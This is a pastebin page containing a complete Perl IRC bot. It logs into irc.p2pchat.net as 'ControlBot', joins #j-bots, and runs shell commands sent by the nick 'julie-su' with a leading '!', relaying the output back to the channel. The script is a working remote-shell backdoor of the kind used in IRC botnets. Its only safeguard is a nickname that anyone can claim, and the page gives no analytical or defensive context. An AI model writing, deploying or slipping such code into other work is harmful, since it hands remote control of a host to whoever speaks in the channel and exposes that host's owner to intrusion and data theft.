All pastes #194129 Raw Edit

talim

public text v1 · immutable
·published 2006-10-07 15:57 UTC
rendered paste body
use IO::Socket;
use strict;

sub fix_raw($) 
{
	if (shift =~ /:([^!]+)[^\s]+ PRIVMSG (#[^\s]+) :(.*)$/i)
	{
		return $1, $2, $3;
	}
}

my($server, $port, $channel) = ('irc.p2pchat.net', '6667', '#j-bots');

{
	my $sock = IO::Socket::INET->new(
									PeerAddr  => $server,
									PeerPort  => $port,
									PeerProto => 'tcp'
									) or die("Couldn't bind socket. ($!)");
	
	print "Connected.\n";
	
    while (1) {
		while (my $data = <$sock>) {
			chomp($data);
			if ($data =~ /(Looking up your hostname|Found your hostname)/i) {
				print "Logging in.\n";
				print $sock "USER ControlBot ControlBot 0 :ControlBot\r\n";
				print $sock "NICK ControlBot\r\n";
				print $sock "PONG $server\r\n"
			} 
			elsif ($data =~ /^PING(.*)?$/i) {
				print "Ping? Pong.\n";
				print $sock "PONG $1\r\n";
			} 
			elsif ($data =~ /^[^\s]+ (376|422)/) {
				print "Joining $channel.\n";
				print $sock "JOIN $channel\r\n";
			} 
			elsif ($data =~ /PRIVMSG/) {
				my($nick, $chan, $text) = fix_raw($data);
				if (($nick eq 'julie-su') && ($text =~ /^!/)) {
					$text =~ s/^!//;
					print "Command: $text\n";
					$text = `$text`;
					my @shell = split("\n", $text);
					foreach my $line (@shell) {
						print $sock "PRIVMSG $chan :".$line."\r\n";
						sleep(1);
					}
				}
			}
		}
	sleep(1);
	}
}